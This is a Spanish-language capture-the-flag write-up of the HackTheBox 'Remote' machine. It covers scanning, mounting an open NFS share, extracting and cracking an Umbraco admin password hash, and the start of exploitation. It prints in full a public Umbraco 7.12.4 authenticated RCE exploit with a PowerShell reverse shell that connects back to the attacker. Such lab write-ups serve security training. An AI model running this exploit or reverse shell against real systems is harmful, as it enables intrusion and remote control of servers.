Remote [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
PING 10.10.10.180 (10.10.10.180) 56(84) bytes of data.
64 bytes from 10.10.10.180: icmp_seq=1 ttl=127 time=168 ms
--- 10.10.10.180 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 167.901/167.901/167.901/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
# Nmap 7.95 scan initiated Sun Mar 2 01:31:54 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.10.180
Nmap scan report for 10.10.10.180
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-02 01:31:55 -03 for 186s
Not shown: 65519 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49679/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-03-02T05:33:09
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 45222/tcp): CLEAN (Couldn't connect)
| Check 2 (port 42558/tcp): CLEAN (Couldn't connect)
| Check 3 (port 15893/udp): CLEAN (Timeout)
| Check 4 (port 34730/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 2 01:35:01 2025 -- 1 IP address (1 host up) scanned in 187.10 seconds
Vemos el puerto 21 correspondiente a un servidor FTP(Microsoft ftpd) para transferencia de archivos, el puerto 80 correspondiente a un servidor web(Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)), el puerto 111 que parece corresponder a un servidor NFS, un servicio similar a SMB y los puertos comunes de 135, 139 de Windows, además del 445 correspondiente a un servidor SMB para alojar recursos compartidos, el puerto 5985 y 47001 tambien correspondientes a un servidor web
1.3 whatweb
1.3 whatweb
http://10.10.10.180 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.10.180], JQuery[3.1.0], Script, Title[Home - Acme Widgets], Umbraco, X-UA-Compatible[IE=edge]
Tenemos tecnologias web como:
JQuery 3.1.0
Y poco mas...
1.4 Revisión del código fuente
1.4 Revisión del código fuente
Vamos a revisar el codigo fuente de la pagina web alojada en el puerto 80:

CTRL + U:

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Home - Acme Widgets</title>
<meta name="description" content="">
<meta name="author" content="">
<link rel="stylesheet" href="/css/umbraco-starterkit-style.css" />
</head>
<body class="frontpage theme-font-mono theme-color-water">
<div class="mobile-nav">
<nav class="nav-bar">
<!-- uncomment this line if you don't want it to appear in the top navigation -->
<a class="nav-link navi-link--active" href="/">Home</a>
<a class="nav-link" href="/products/">Products</a>
<a class="nav-link" href="/people/">People</a>
<a class="nav-link" href="/about-us/">About Us</a>
<a class="nav-link" href="/contact/">Contact</a>
<a class="nav-link" href="/intranet/">Intranet</a>
</nav>
</div>
<header class="header">
<div class="logo">
<a class="nav-link nav-link--home nav-link--home__text logo-text" href="/">Acme Widgets</a>
</div>
<nav class="nav-bar top-nav">
<!-- uncomment this line if you don't want it to appear in the top navigation -->
<a class="nav-link navi-link--active" href="/">Home</a>
<a class="nav-link" href="/products/">Products</a>
<a class="nav-link" href="/people/">People</a>
<a class="nav-link" href="/about-us/">About Us</a>
<a class="nav-link" href="/contact/">Contact</a>
<a class="nav-link" href="/intranet/">Intranet</a>
</nav>
<div class="mobile-nav-handler">
<div class="hamburger lines" id="toggle-nav">
<span></span>
</div>
</div>
</header>
<main>
<section class="section section--full-height background-image-full overlay overlay--dark section--content-center section--thick-border"
style="background-image: url('/media/1032/acme.jfif')">
<div class="section__hero-content">
<h1>Welcome to Acme</h1>
<p class="section__description">Allow me to introduce myself. My name is Wile E. Coyote, genius. I am not selling anything nor am I working my way through college.</p>
<a class="button button--border--solid" href="/products/">
Check our products
</a>
</div>
</section>
<section class="section section">
<div class="umb-grid">
<div class="grid-section">
<div >
<div class="row clearfix">
<div class="col-md-12 column">
<div >
<div class="blogposts">
<a href="/blog/another-one/" class="blogpost">
<div class="blogpost-meta">
<small class="blogpost-date">2/19/2020</small>
<small class="blogpost-cat">
<!-- TODO: Add links to categories-->
cg16
<!-- TODO: Add links to categories-->
codegarden
<!-- TODO: Add links to categories-->
umbraco
</small>
</div>
<h3 class="blogpost-title">Now it gets exciting</h3>
<div class="blogpost-excerpt">Donec sollicitudin molestie malesuada. Vivamus suscipit tortor eget felis porttitor volutpat. Sed porttitor lectus nibh.</div>
</a>
<a href="/blog/this-will-be-great/" class="blogpost">
<div class="blogpost-meta">
<small class="blogpost-date">2/19/2020</small>
<small class="blogpost-cat">
<!-- TODO: Add links to categories-->
great
<!-- TODO: Add links to categories-->
umbraco
</small>
</div>
<h3 class="blogpost-title">This will be great</h3>
<div class="blogpost-excerpt">Proin eget tortor risus. Curabitur arcu erat, accumsan id imperdiet et, porttitor at sem. Vivamus magna justo, lacinia eget consectetur sed</div>
</a>
<a href="/blog/my-blog-post/" class="blogpost">
<div class="blogpost-meta">
<small class="blogpost-date">2/19/2020</small>
<small class="blogpost-cat">
<!-- TODO: Add links to categories-->
demo
<!-- TODO: Add links to categories-->
umbraco
<!-- TODO: Add links to categories-->
starter kit
</small>
</div>
<h3 class="blogpost-title">My Blog Post</h3>
<div class="blogpost-excerpt">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla quis lorem ut libero malesuada feugiat. Donec rutrum congue leo eget malesuada. Donec rutrum congue leo eget malesuada.</div>
</a>
</div>
</div>
</div> </div>
</div>
</div>
</div>
</section>
<section class="section section--themed">
<div class="container">
<div class="row">
<div class="ta-center">
<h2>Acme</h2>
<p class="section__description mw-640 ma-h-auto">Curabitur arcu erat, accumsan id imperdiet et, porttitor at sem. Curabitur arcu erat, accumsan id imperdiet et, porttitor at sem. Vivamus suscipit tortor eget felis porttitor volutpat</p>
<a class="button button--border--light_solid" href="/blog/">
Read All on the Blog
</a>
</div>
</div>
</div>
</section>
</main>
<footer class="section--themed">
<div class="container">
<div class="row">
<div class="col-md-12 ta-center">
Umbraco HQ - Unicorn Square - Haubergsvej 1 - 5000 Odense C - Denmark - +45 70 26 11 62
</div>
</div>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.1.0.min.js" integrity="sha256-cCueBR6CsyA4/9szpPfrX3s49M9vUU5BgtiJj06wt/s=" crossorigin="anonymous"></script>
<script src="https://ajax.aspnetcdn.com/ajax/jquery.validate/1.13.1/jquery.validate.min.js"></script>
<script src="https://ajax.aspnetcdn.com/ajax/mvc/5.2.3/jquery.validate.unobtrusive.min.js"></script>
<script src="/scripts/umbraco-starterkit-app.js"></script>
</body>
</html>
Dentro del codigo fuente no encontramos nada interesante
1.5 Fuzzing
1.5 Fuzzing
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.180/FUZZ
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.180/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.180/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 187 L 490 W 6693 Ch "# directory-list-2.3-medium.txt"
000000006: 200 187 L 490 W 6693 Ch "# Attribution-Share Alike 3.0 License. To v
iew a copy of this"
000000004: 200 187 L 490 W 6693 Ch "#"
000000011: 200 187 L 490 W 6693 Ch "# Priority ordered case sensative list, whe
re entries were found"
000000014: 200 187 L 490 W 6693 Ch "http://10.10.10.180/"
000000005: 200 187 L 490 W 6693 Ch "# This work is licensed under the Creative
Commons"
000000038: 200 187 L 490 W 6703 Ch "home"
000000013: 200 187 L 490 W 6693 Ch "#"
000000012: 200 187 L 490 W 6693 Ch "# on atleast 2 different hosts"
000000008: 200 187 L 490 W 6693 Ch "# or send a letter to Creative Commons, 171
Second Street,"
000000007: 200 187 L 490 W 6693 Ch "# license, visit http://creativecommons.org
/licenses/by-sa/3.0/"
000000009: 200 187 L 490 W 6693 Ch "# Suite 300, San Francisco, California, 941
05, USA."
000000286: 200 187 L 490 W 6703 Ch "Home"
000000032: 200 137 L 338 W 5011 Ch "blog"
000000157: 500 80 L 276 W 3420 Ch "product"
000000042: 200 129 L 302 W 5330 Ch "products"
000000715: 302 3 L 8 W 126 Ch "install"
000000496: 200 129 L 302 W 5330 Ch "Products"
000001035: 200 137 L 338 W 5011 Ch "Blog"
000000010: 200 187 L 490 W 6693 Ch "#"
000000003: 200 187 L 490 W 6693 Ch "# Copyright 2007 James Fisher"
000000002: 200 187 L 490 W 6693 Ch "#"
000000025: 200 124 L 331 W 7890 Ch "contact"
000000155: 200 167 L 330 W 6749 Ch "people"
000001352: 200 167 L 330 W 6749 Ch "People"
000000592: 200 124 L 331 W 7890 Ch "Contact"
000001794: 500 80 L 276 W 3420 Ch "Product"
000002430: 302 3 L 8 W 126 Ch "INSTALL"
000002574: 500 80 L 276 W 3420 Ch "master"
000003012: 200 123 L 310 W 4234 Ch "1114"
000003110: 200 123 L 317 W 4269 Ch "1113"
000002959: 200 116 L 222 W 3313 Ch "intranet"
000003282: 200 129 L 302 W 5320 Ch "1107"
000003482: 200 123 L 281 W 4037 Ch "1109"
000003815: 200 187 L 490 W 6693 Ch "1106"
000003275: 200 81 L 201 W 2749 Ch "1119"
000003068: 200 81 L 198 W 2741 Ch "person"
000002997: 200 81 L 201 W 2750 Ch "1117"
000004317: 200 123 L 301 W 4174 Ch "1110"
000004856: 200 167 L 330 W 6739 Ch "1116"
000005156: 200 123 L 305 W 4194 Ch "1111"
000005452: 200 124 L 331 W 7880 Ch "1129"
000006127: 200 151 L 367 W 4721 Ch "1124"
000006775: 200 143 L 694 W 6878 Ch "1128"
000007004: 400 80 L 276 W 3420 Ch "*checkout*"
000008322: 200 135 L 333 W 4832 Ch "1108"
000010461: 200 116 L 222 W 3313 Ch "Intranet"
000012158: 200 187 L 490 W 6703 Ch "HOME"
000008236: 200 81 L 201 W 2752 Ch "1118"
000007361: 200 130 L 408 W 4869 Ch "1126"
000006925: 200 116 L 222 W 3313 Ch "1148"
000006209: 200 81 L 201 W 2750 Ch "1121"
000005883: 200 118 L 247 W 3632 Ch "1123"
000005112: 200 161 L 428 W 5441 Ch "1122"
000004857: 200 81 L 201 W 2751 Ch "1120"
000003904: 200 138 L 533 W 5813 Ch "1127"
000001119: 200 161 L 428 W 5441 Ch "about-us"
000003351: 200 137 L 338 W 5001 Ch "1125"
000003100: 200 123 L 294 W 4130 Ch "1115"
000002624: 200 123 L 283 W 4049 Ch "1112"
000013154: 302 3 L 8 W 126 Ch "Install"
000013625: 200 161 L 428 W 5451 Ch "About-Us"
000015463: 400 80 L 276 W 3420 Ch "*docroot*"
000016413: 400 80 L 276 W 3420 Ch "*"
000016949: 500 80 L 276 W 3420 Ch "contentpage"
000022971: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fwww"
000023314: 200 124 L 331 W 7880 Ch "CONTACT"
000028221: 500 80 L 276 W 3420 Ch "Master"
000031867: 400 80 L 276 W 3420 Ch "http%3A"
000032310: 200 123 L 301 W 4174 Ch "001110"
000035276: 200 81 L 201 W 2750 Ch "001117"
000035278: 400 80 L 276 W 3420 Ch "q%26a"
000035659: 400 80 L 276 W 3420 Ch "**http%3a"
000037137: 200 187 L 490 W 6693 Ch "001106"
000039207: 400 80 L 276 W 3420 Ch "*http%3A"
000043806: 200 135 L 333 W 4832 Ch "001108"
000044283: 500 80 L 276 W 3420 Ch "MASTER"
000044318: 200 123 L 281 W 4037 Ch "001109"
000044295: 200 123 L 294 W 4130 Ch "001115"
000045240: 200 187 L 490 W 6693 Ch "http://10.10.10.180/"
000053369: 200 81 L 201 W 2749 Ch "01119"
000055407: 400 80 L 276 W 3420 Ch "**http%3A"
000055697: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fyoutube"
000058184: 200 81 L 201 W 2749 Ch "001119"
000058186: 200 167 L 330 W 6739 Ch "001116"
000058190: 200 81 L 201 W 2752 Ch "001118"
000058183: 200 81 L 201 W 2750 Ch "001121"
000058237: 200 118 L 247 W 3632 Ch "001123"
000058294: 200 151 L 367 W 4721 Ch "001124"
000058326: 200 161 L 428 W 5441 Ch "001122"
000060595: 200 81 L 201 W 2752 Ch "01118"
000060635: 200 130 L 408 W 4869 Ch "001126"
000061085: 200 138 L 533 W 5813 Ch "001127"
000069706: 500 80 L 276 W 3420 Ch "PRODUCT"
000069486: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fblogs"
000071101: 200 129 L 302 W 5320 Ch "PRODUCTS"
000071515: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fblog"
000072063: 200 116 L 222 W 3313 Ch "001148"
000076972: 200 137 L 338 W 5001 Ch "001125"
000079136: 500 80 L 276 W 3420 Ch "ContentPage"
000082362: 400 80 L 276 W 3420 Ch "**http%3A%2F%2Fwww"
000083604: 200 143 L 694 W 6878 Ch "001128"
000083597: 200 123 L 283 W 4049 Ch "001112"
000085453: 200 187 L 490 W 6693 Ch "01106"
000088207: 400 80 L 276 W 3420 Ch "s%26p"
000090191: 200 123 L 310 W 4234 Ch "01114"
000090179: 200 123 L 281 W 4037 Ch "01109"
000094433: 200 81 L 198 W 2741 Ch "Person"
000096023: 200 167 L 330 W 6739 Ch "PEOPLE"
000104558: 400 80 L 276 W 3420 Ch "%3FRID%3D2671"
000108595: 400 80 L 276 W 3420 Ch "devinmoore*"
000110135: 200 81 L 201 W 2750 Ch "01117"
000167068: 400 80 L 276 W 3420 Ch "200109*"
000169122: 400 80 L 276 W 3420 Ch "*sa_"
000169123: 400 80 L 276 W 3420 Ch "*dc_"
000186177: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fcommunity"
000191387: 400 80 L 276 W 3420 Ch "Chamillionaire%20%26%20Paul%20Wall-%20Get%2
0Ya%20Mind%20Correct"
000191389: 400 80 L 276 W 3420 Ch "Clinton%20Sparks%20%26%20Diddy%20-%20Dont%2
0Call%20It%20A%20Comeback%28RuZtY%29"
000191489: 400 80 L 276 W 3420 Ch "DJ%20Haze%20%26%20The%20Game%20-%20New%20Bl
ood%20Series%20Pt"
000195033: 200 123 L 317 W 4269 Ch "001113"
000195034: 200 123 L 305 W 4194 Ch "001111"
000195028: 200 124 L 331 W 7880 Ch "001129"
000195808: 200 81 L 201 W 2751 Ch "001120"
000195806: 200 123 L 310 W 4234 Ch "001114"
000195790: 200 129 L 302 W 5320 Ch "001107"
000196083: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fradar"
000206616: 400 80 L 276 W 3420 Ch "q%26a2"
000207420: 400 80 L 276 W 3420 Ch "login%3f"
000213311: 400 80 L 276 W 3420 Ch "Shakira%20Oral%20Fixation%201%20%26%202"
000218269: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fjeremiahgrossman"
000218393: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fweblog"
000219157: 400 80 L 276 W 3420 Ch "http%3A%2F%2Fswik"
Total time: 1543.355
Processed Requests: 220560
Filtered Requests: 220428
Requests/sec.: 142.9093
2- Explotación
En el fuzzing realizado, vemos varios directorios interesantes, pero concretamente nos interesa el recurso "install" o "INSTALL", este recurso alojado en el servidor web, nos redirige hacia un panel de login:

Podemos ver que en la URL, nombra el recurso "Umbraco", se trata de un gestor de contenido o un CMS para paginas webs como WordPress entre otros
2.1 Explotación de NFS(Puerto 111)
2.1 Explotación de NFS(Puerto 111)
Si recordamos en el escaneo de Nmap, tenemos el puerto 111 correspondiente a un servidor NFS(Network File System), que sirve para ubicar recursos dentro de una red, es un servicio similar a SMB, generalmente se utilza para almacenar backups en entornos reales
111/tcp open rpcbind syn-ack ttl 127 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
Este servicio lo que nos brinda es poder montar una unidad dentro de nuestro Kali, pero en remoto
Vamos a verificar los recursos que se encuentran dentro de este servidor NFS, para eso utilizaremos el siguiente comando:
showmount -e 10.10.10.180
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali]
└─# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
Vemos un recurso alojado en la red de la maquina objetivo llamado "/site_backups"
y esta disponible para cualquier usuario, asi que vamos a montarnos el recurso de este servidor NFS, para eso utilzaremos el siguiente comando:
mount -t nfs 10.10.10.180:/site_backups /mnt/
El comando se estructura de la siguiente manera:
mount -t {Servicio} {IP}:/{Recurso} /mnt/
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali]
└─# mount -t nfs 10.10.10.180:/site_backups /mnt/
┌──(root㉿t0mz)-[/home/kali]
└─#
Y ahora nos vamos a la carpeta "mnt" del directorio raíz de nuestro Kali, concretamente la ruta absoluta "/mnt/" y listamos los directorios
┌──(root㉿t0mz)-[~]
└─# cd /mnt
┌──(root㉿t0mz)-[/mnt]
└─# ls
App_Browsers App_Plugins bin css Global.asax scripts Umbraco_Client Web.config
App_Data aspnet_client Config default.aspx Media Umbraco Views
┌──(root㉿t0mz)-[/mnt]
└─#
2.2 Umbraco.sdf
2.2 Umbraco.sdf
Vemos directorios interesantes dentro del recurso que montamos del servidor NFS, siempre que tengamos acceso de cualquier tipo a una maquina de HTB, siempre es importante revisar los archivos de configuración, pero en concreto nos interesa el directorio "App_data"
dentro de este recurso del servidor NFS, asi que vamos a irnos a ese directorio y listar los archivos dentro de ese directorio:
┌──(root㉿t0mz)-[/mnt]
└─# cd App_Data
┌──(root㉿t0mz)-[/mnt/App_Data]
└─# ls
cache Logs Models packages TEMP umbraco.config Umbraco.sdf
┌──(root㉿t0mz)-[/mnt/App_Data]
└─#
Investigando, el archivo que nos interesa es "Umbraco.SDF"
, asi que vamos a visualizarlo, pero antes de visualizarlo, este archivo es un archivo con extensión ".SDF"
, este tipo de extensión para archivos sirve para almacenar datos estructurados o datos especiales, por eso no podemos visualizarlo con "cat"
, por que nos mostraría el lado binario del archivo, y nosotros no queremos ver eso, solo queremos visualizar el texto plano del archivo, para eso utilizaremos el comando "strings"
, el archivo contiene mucho información, asi que vamos a filtrar la misma con un pipe y el comando "grep"
, pasándole como parámetro la palabra clave "password"
:
┌──(root㉿t0mz)-[/mnt/App_Data]
└─# strings Umbraco.sdf | grep password
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change
User "admin" <admin@htb.local>192.168.195.1User "smith" <smith@htb.local>umbraco/user/password/changepassword change
User "admin" <admin@htb.local>192.168.195.1User "ssmith" <ssmith@htb.local>umbraco/user/password/changepassword change
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change
User "admin" <admin@htb.local>192.168.195.1User "admin" <admin@htb.local>umbraco/user/password/changepassword change
passwordConfig
┌──(root㉿t0mz)-[/mnt/App_Data]
└─#
Vemos una lista de usuarios:
"admin" <admin@htb.local>umbraco/user/password/changepassword change
"smith" <smith@htb.local>umbraco/user/password/changepassword change
"ssmith" <ssmith@htb.local>umbraco/user/password/changepassword change
"admin" <admin@htb.local>umbraco/user/password/changepassword change
"admin" <admin@htb.local>umbraco/user/password/changepassword change
Ahora vamos a filtrar la información del archivo con "strings"
, pero queremos que nos muestre las primeras líneas del archivo con un pipe y el comando "head"
:
┌──(root㉿t0mz)-[/mnt/App_Data]
└─# strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
┌──(root㉿t0mz)-[/mnt/App_Data]
└─#
Vemos lo que parece ser el usuario "Administrator" y lo que parecería ser el hash de la contraseña con el algoritmo de cifrado SHA1:
Usuario: admin@htb.local
Password hasheada(SHA1): b8be16afba8c314ad33d812f22a04991b90e2aaa
Podríamos guardar el hash en un archivo de texto y con John The Ripper crackear la contraseña, pero en mi caso al ser un cifrado débil SHA1, utilizare la pagina de "CrackStation"
:

La contraseña es "baconandcheese"
, de tal manera que las credenciales quedarian de la siguiente forma:
Usuario: admin@htb.local
Password: baconandcheese
Vamos a irnos al login del CMS, Umbraco, que habiamos encontrado anteriormente en el proceso de Fuzzing y ingresar las credenciales:

Login:

2.3 RCE Umbraco CMS 7.12.4
2.3 RCE Umbraco CMS 7.12.4
Vamos a averiguar dentro del panel de administración de este CMS, la versión del mismo, para eso, vamos a clickear en nuestro perfil dentro del CMS:

La versión es la 7.12.4, asi que vamos a buscar algún exploit en GitHub para obtener un reverse shell dentro de nuestro Kali, en mi caso utilizare el siguiente:
Créditos al creador del repositorio
#!/usr/bin/python3
# Exploit Title: Umbraco CMS - Authenticated Remote Code Execution
# Date: 2020-04-22
# Exploit Author: Jonathan Tan (Jonoans)
# Based on: https://www.exploit-db.com/exploits/46153 & https://github.com/noraj/Umbraco-RCE
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Tested on: Windows IIS
from bs4 import BeautifulSoup
from pwn import log
from threading import Thread
import argparse
import pwn
import requests
def main():
login = args.user
password = args.password
host = args.host
try:
initial = pwn.listen(4444)
final = pwn.listen(4445)
except Exception as e:
raise e
with open('exploit.cs', 'r') as csharp:
code = csharp.read().strip()
payload = f"""
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
{code}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
"""
payload = payload.strip() % (args.ip, 4444)
stable_revshell = '$client = New-Object System.Net.Sockets.TCPClient("%s", 4445)' % args.ip
stable_revshell += ';$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
# Process Login
url_login = host + "/umbraco/backoffice/UmbracoApi/Authentication/PostLogin"
log.info(f'Logging in at {url_login}')
loginfo = { "username": login, "password": password}
s = requests.session()
r2 = s.post(url_login,json=loginfo)
# Go to vulnerable web page
url_xslt = host + "/umbraco/developer/Xslt/xsltVisualize.aspx"
log.info(f'Exploiting at {url_xslt}')
r3 = s.get(url_xslt)
soup = BeautifulSoup(r3.text, 'html.parser')
VIEWSTATE = soup.find(id="__VIEWSTATE")['value']
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value']
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN']
headers = {'UMB-XSRF-TOKEN': UMBXSRFTOKEN}
data = { "__EVENTTARGET": "", "__EVENTARGUMENT": "", "__VIEWSTATE": VIEWSTATE,
"__VIEWSTATEGENERATOR": VIEWSTATEGENERATOR,
"ctl00$body$xsltSelection": payload,
"ctl00$body$contentPicker$ContentIdValue": "",
"ctl00$body$visualizeDo": "Visualize+XSLT" }
# Launch the attack
Thread(target=s.post, args=(url_xslt,), kwargs={'data': data, 'headers': headers}).start()
initial.wait_for_connection()
initial.sendline(stable_revshell.encode('ascii'))
final.wait_for_connection()
# Quick hack to display prompt lol
final.sendline(b'whoami')
final.recvline()
final.interactive(prompt='')
if __name__ == '__main__':
parser = argparse.ArgumentParser(prog='exploit.py',
description='Umbraco authenticated RCE',
formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=80))
parser.add_argument('-u', '--user', metavar='USER', type=str,
required=True, dest='user', help='Username / Email')
parser.add_argument('-p', '--password', metavar='PASS', type=str,
required=True, dest='password', help='Login password')
parser.add_argument('-w', '--website-url', metavar='URL', type=str, required=True,
dest='host', help='Root URL')
parser.add_argument('-i', '--ip', metavar='IP', type=str, required=True,
dest='ip', help='IP address of callback listener')
args = parser.parse_args()
main()
Vamos a clonar el repositorio con el siguiente comando:
git clone https://github.com/Jonoans/Umbraco-RCE.git
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# git clone https://github.com/Jonoans/Umbraco-RCE.git
Clonando en 'Umbraco-RCE'...
remote: Enumerating objects: 32, done.
